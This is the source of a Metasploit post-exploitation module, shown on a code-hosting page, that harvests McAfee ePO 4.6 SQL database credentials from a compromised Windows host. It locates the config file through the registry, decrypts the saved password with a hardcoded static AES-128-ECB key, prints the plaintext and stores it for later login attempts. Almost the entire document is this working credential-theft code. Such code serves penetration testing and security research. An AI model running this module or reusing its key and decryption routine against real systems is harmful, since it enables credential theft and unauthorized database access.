Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/epo_sql.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/dns/resolver'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Registry
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
17
'Description' => %q{
18
This module extracts connection details and decrypts the saved password for the
19
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
20
config file. They are encrypted with AES-128-ECB and a static key.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
24
'Platform' => [ 'win' ],
25
'SessionTypes' => [ 'meterpreter' ],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [],
29
'Reliability' => []
30
},
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_eof
35
core_channel_open
36
core_channel_read
37
core_channel_write
38
stdapi_net_resolve_host
39
]
40
}
41
}
42
)
43
)
44
end
45
46
def run
47
# Find out where things are installed
48
print_status('Finding Tomcat install path...')
49
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)
50
if subkeys.nil? || subkeys.empty?
51
print_error('ePO 4.6 Not Installed or No Permissions to RegKey')
52
return
53
end
54
# Get the db.properties file location
55
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
56
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)
57
if dbprops_file.nil? || (dbprops_file == '')
58
print_error('Could not find db.properties file location')
59
else
60
dbprops_file << '/conf/orion/db.properties'
61
print_good('Found db.properties location')
62
process_config(dbprops_file)
63
end
64
end
65
66
def process_config(filename)
67
config = client.fs.file.new(filename, 'r')
68
print_status("Processing #{filename}")
69
contents = config.read
70
config_lines = contents.split("\n")
71
for line in config_lines
72
line.chomp
73
line_array = line.split('=')
74
case line_array[0]
75
when 'db.database.name'
76
database_name = ''
77
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
78
when 'db.instance.name'
79
database_instance = ''
80
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
81
when 'db.user.domain'
82
user_domain = ''
83
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
84
when 'db.user.name'
85
user_name = ''
86
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
87
when 'db.port'
88
port = ''
89
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
90
when 'db.user.passwd.encrypted.ex'
91
# ePO 4.6 encrypted password
92
passwd = ''
93
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
94
passwd.gsub('\\', '')
95
# Add any Base64 padding that may have been stripped out
96
passwd << '=' until (passwd.length % 4 == 0)
97
plaintext_passwd = decrypt46(passwd)
98
when 'db.user.passwd.encrypted'
99
# ePO 4.5 encrypted password - not currently supported, see notes below
100
passwd = ''
101
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
102
passwd.gsub('\\', '')
103
# Add any Base64 padding that may have been stripped out
104
passwd << '=' until (passwd.length % 4 == 0)
105
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
106
when 'db.server.name'
107
database_server_name = ''
108
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
109
end
110
end
111
112
# resolve IP address for creds reporting
113
114
result = client.net.resolve.resolve_host(database_server_name)
115
if result[:ip].nil? || result[:ip].empty?
116
print_error('Could not determine IP of DB - credentials not added to report database')
117
return
118
end
119
120
db_ip = result[:ip]
121
122
print_good("SQL Server: #{database_server_name}")
123
print_good("SQL Instance: #{database_instance}")
124
print_good("Database Name: #{database_name}")
125
if db_ip
126
print_good("Database IP: #{db_ip}")
127
end
128
print_good("Port: #{port}")
129
if user_domain.nil? || (user_domain == '')
130
print_good('Authentication Type: SQL')
131
full_user = user_name
132
else
133
print_good('Authentication Type: Domain')
134
print_good("Domain: #{user_domain}")
135
full_user = "#{user_domain}\\#{user_name}"
136
end
137
print_good("User: #{full_user}")
138
print_good("Password: #{plaintext_passwd}")
139
140
if db_ip
141
# submit to reports
142
service_data = {
143
address: Rex::Socket.getaddress(db_ip),
144
port: port,
145
protocol: 'tcp',
146
service_name: 'mssql',
147
workspace_id: myworkspace_id
148
}
149
150
credential_data = {
151
origin_type: :session,
152
session_id: session_db_id,
153
post_reference_name: refname,
154
username: full_user,
155
private_data: plaintext_passwd,
156
private_type: :password
157
}
158
159
credential_core = create_credential(credential_data.merge(service_data))
160
161
login_data = {
162
core: credential_core,
163
access_level: 'User',
164
status: Metasploit::Model::Login::Status::UNTRIED
165
}
166
167
create_credential_login(login_data.merge(service_data))
168
print_good('Added credentials to report database')
169
else
170
print_error('Could not determine IP of DB - credentials not added to report database')
171
end
172
end
173
174
def decrypt46(encoded)
175
encrypted_data = Rex::Text.decode_base64(encoded)
176
aes = OpenSSL::Cipher.new('AES-128-ECB')
177
aes.decrypt
178
aes.padding = 0
179
# Private key extracted from ePO 4.6.0 Build 1029
180
# If other keys are required for other versions of 4.6 - will have to add version
181
# identification routines in to the main part of the module
182
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
183
aes.key = key.pack('C*')
184
password = aes.update(encrypted_data) + aes.final
185
# Get rid of all the crazy \f's that result
186
password.gsub!(/[^[:print:]]/, '')
187
return password
188
end
189
end
190
191